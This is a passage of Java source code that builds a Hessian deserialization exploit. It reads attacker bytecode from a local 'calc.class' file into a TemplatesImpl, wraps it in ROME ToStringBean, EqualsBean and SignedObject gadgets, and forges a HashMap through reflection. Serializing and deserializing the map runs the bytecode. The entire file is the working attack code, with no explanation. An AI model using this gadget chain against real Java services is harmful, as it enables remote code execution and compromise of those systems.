java.security.*;import java.util.HashMap;public class Hessian2_SignedObject { public static void main (String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, SignatureException, InvalidKeyException, NoSuchAlgorithmException { TemplatesImpl templatesimpl = new TemplatesImpl (); Class c = templatesimpl.getClass(); Field _nameField = c.getDeclaredField("_name" ); _nameField.setAccessible(true ); _nameField.set(templatesimpl, "cmisl" ); Field _byteCodesField = c.getDeclaredField("_bytecodes" ); _byteCodesField.setAccessible(true ); byte [] code = Files.readAllBytes(Paths.get("C:\\Users\\asus\\Desktop\\calc.class" )); byte [][] codes = {code}; _byteCodesField.set(templatesimpl, codes); Field tfactory = c.getDeclaredField("_tfactory" ); tfactory.setAccessible(true ); tfactory.set(templatesimpl, new TransformerFactoryImpl ()); ToStringBean toStringBean_TemplatemImpl = new ToStringBean (Templates.class, templatesimpl); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException (null ); Field val = badAttributeValueExpException.getClass().getDeclaredField("val" ); val.setAccessible(true ); val.set(badAttributeValueExpException, toStringBean_TemplatemImpl); KeyPairGenerator keyGen = KeyPairGenerator.getInstance("RSA" ); keyGen.initialize(2048 ); KeyPair keyPair = keyGen.generateKeyPair(); PrivateKey privateKey = keyPair.getPrivate(); Signature signature = Signature.getInstance("SHA256withRSA" ); SignedObject signedObject = new SignedObject (badAttributeValueExpException, privateKey, signature); HashMap<Object, Object> hashMap = new HashMap <>(); ToStringBean toStringBean_SignedObject = new ToStringBean (SignedObject.class, signedObject); EqualsBean equalsBean = new EqualsBean (ToStringBean.class, toStringBean_SignedObject); Field size = hashMap.getClass().getDeclaredField("size" ); size.setAccessible(true ); size.set(hashMap, 1 ); Class nodec; try { nodec = Class.forName("java.util.HashMap$Node" ); } catch (ClassNotFoundException e) { nodec = Class.forName("java.util.HashMap$Entry" ); } Constructor nodeCons = nodec.getDeclaredConstructor(int .class, Object.class, Object.class, nodec); nodeCons.setAccessible(true ); Object tbl = Array.newInstance(nodec, 1 ); Array.set(tbl, 0 , nodeCons.newInstance(0 , equalsBean, equalsBean, null )); Field table = hashMap.getClass().getDeclaredField("table" ); table.setAccessible(true ); table.set(hashMap, tbl); byte [] serialize = serialize(hashMap); Object deserialize = deserialize(serialize); } public static byte [] serialize(Object o) throws IOException { ByteArrayOutputStream bao = new ByteArrayOutputStream (); HessianOutput output = new HessianOutput (bao); output.writeObject(o); System.out.println(bao.toString()); return bao.toByteArray(); } public static Object deserialize (byte [] bytes) throws IOException { ByteArrayInputStream bai = new ByteArrayInputStream (bytes); HessianInput input = new HessianInput (bai); Object o = input.readObject(); return o; } }